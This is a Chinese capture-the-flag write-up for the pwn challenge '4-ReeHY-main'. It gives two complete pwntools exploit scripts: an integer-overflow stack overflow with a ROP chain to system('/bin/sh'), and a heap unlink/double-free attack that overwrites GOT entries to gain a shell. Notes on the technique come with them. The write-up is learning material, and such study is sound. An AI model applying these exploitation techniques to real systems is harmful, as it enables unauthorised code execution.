这题有两种做法,一种是堆溢出,一种是栈溢出。第一次写的时候,由于刚刚入门,只会用栈溢出,这次重新看,用堆溢出试了一下,由于技术有限,还是出现了很多错误,找了很多资料,磕磕绊绊一下午才利用成功。
故写此博客记录一下。
此题的栈溢出漏洞比较明显,因为他有一个很明显的整数溢出漏洞,可以导致栈漏洞。
没开canary,也没有开启PIE。
打开IDA,我们可以看到我们设置的是有符号数,但是作为输入函数的限制的时候变成了无符号数,这样,当我们输入-1的时候,我们可输入的字符串长度就会因为这样而变得非常大。我们就可以从buf处溢出,构造ROP链getshell。
exp如下:
#! /usr/bin/env python
from pwn import *
from LibcSearcher import *
context(log_level='debug')
local=0
if local:
p=process('./4-ReeHY-main')
else:
p=remote('111.198.29.45',35208)
elf=ELF('./4-ReeHY-main')
obj=LibcSearcher('puts',0x7f5ca02d6690)
#obj=LibcSearcher('puts',0x7fad94a5b690)
#libc=ELF('./ctflibc.so.6')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
atoi_got=elf.got['atoi']
def new(size,cun,content):
p.recvuntil('$ ')
p.sendline('1')
p.recvuntil('Input size\n')
p.sendline(str(size))
p.recvuntil('Input cun\n')
p.sendline(str(cun))
p.recvuntil('Input content\n')
p.sendline(content)
#stack,int_overflow
prdi=0x400da3
main=0x400c8c
p.recvuntil('Input your name: \n')
p.sendlineafter('$ ','aaa')
new(-1,1,'a'*0x88+'\x00'*0x8+'a'*0x8+p64(prdi)+p64(puts_got)+p64(puts_plt)+p64(main))
#p.recv()
puts_add=u64(p.recvuntil('\n')[:6].ljust(8,'\x00'))
print hex(puts_add)
offset=puts_add-obj.dump('puts')
#system=libc.symbols['system']
#sh=libc.search('/bin/sh').next()
system=obj.dump('system')+offset
sh=obj.dump('str_bin_sh')+offset
#p.recvuntil('Input your name: \n')
p.sendlineafter('$ ','aaa')
new(-1,1,'a'*0x88+'\x00'*0x8+'a'*0x8+p64(prdi)+p64(sh)+p64(system)+p64(main))
#p.recv()
p.interactive()
栈溢出漏洞利用起来比较简单,那是因为这题主要考的还是堆溢出,所以堆溢出就没有这么简单了。
这题的堆漏洞涉及unlink,doublefree。
先上exp:
#! /usr/bin/env python
from pwn import *
from LibcSearcher import *
context(log_level='debug')
local=0
if local:
p=process('./4-ReeHY-main')
else:
p=remote('111.198.29.45',35208)
elf=ELF('./4-ReeHY-main')
#obj=LibcSearcher('puts',0x7f5ca02d6690)
obj=LibcSearcher('puts',0x7fad94a5b690)
#libc=ELF('./ctflibc.so.6')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
atoi_got=elf.got['atoi']
def new(size,cun,content):
p.recvuntil('$ ')
p.sendline('1')
p.recvuntil('Input size\n')
p.sendline(str(size))
p.recvuntil('Input cun\n')
p.sendline(str(cun))
p.recvuntil('Input content\n')
p.sendline(content)
def edit_1(index,content):
p.recvuntil('$ ')
p.sendline('3')
p.recvuntil('edit\n')
p.sendline(str(index))
p.recvuntil('content\n')
p.sendline(content)
def edit_2(index,content):
p.recvuntil('$ ')
p.sendline('3')
p.recvuntil('edit\n')
p.sendline(str(index))
p.send(content)
def delete(index):
p.recvuntil('$ ')
p.sendline('2')
p.recvuntil('Chose one to dele\n')
p.sendline(str(index))
#heap,unlink,doublefree.
ptr=0x602100
free_got=elf.got['free']
p.recvuntil('Input your name: \n')
p.sendlineafter('$ ','aaa')
new(0x20,4,'/bin/sh')
new(0x100,0,'aaa')
new(0x100,1,'bbb')
delete(0)
delete(1)
payload = p64(0)+p64(0x101)+p64(ptr-0x18)+p64(ptr-0x10)+'a'*(0x100-32)+p64(0x100)+p64(0x110)
new(0x210,2,payload)
delete(1)
edit_1(2,p64(0)+p64(puts_got)+p64(1)+p64(free_got)+p64(1))
edit_2(2,p64(puts_plt))
delete(1)
#gdb.attach(p)
puts_add=u64(p.recvuntil('\n')[:6].ljust(8,'\x00'))
print hex(puts_add)
offset=puts_add-obj.dump('puts')
system=obj.dump('system')+offset
edit_2(2,p64(system))
delete(4)
p.interactive()
由于没有开启PIE,我们可以直接泄露puts_got的地址。
我们首先申请两个堆块,使得我们先控制0和1堆块的野指针。这样当我们再次申请堆块的时候,我们仍然会申请这两块的堆地址,这样就符合unlink攻击的所有条件了,就直接可以利用unlink攻击了。
对于unlink,推荐ctfwiki。
成功unlink后,又由于程序的RELRO没有开,我们就可以通过劫持的指针来劫持got表,改写对应函数的got值,这样,用这个函数的时候,程序就会调用我们改好的那个函数去,比如system。
这题有一个坑,由于pwntools的send发送数据时不会加’\n’而sendline发送时会加一个’\n’,所以我们这里要写两个edit函数。不然sendline发送的’\n’会对我们伪造堆产生影响。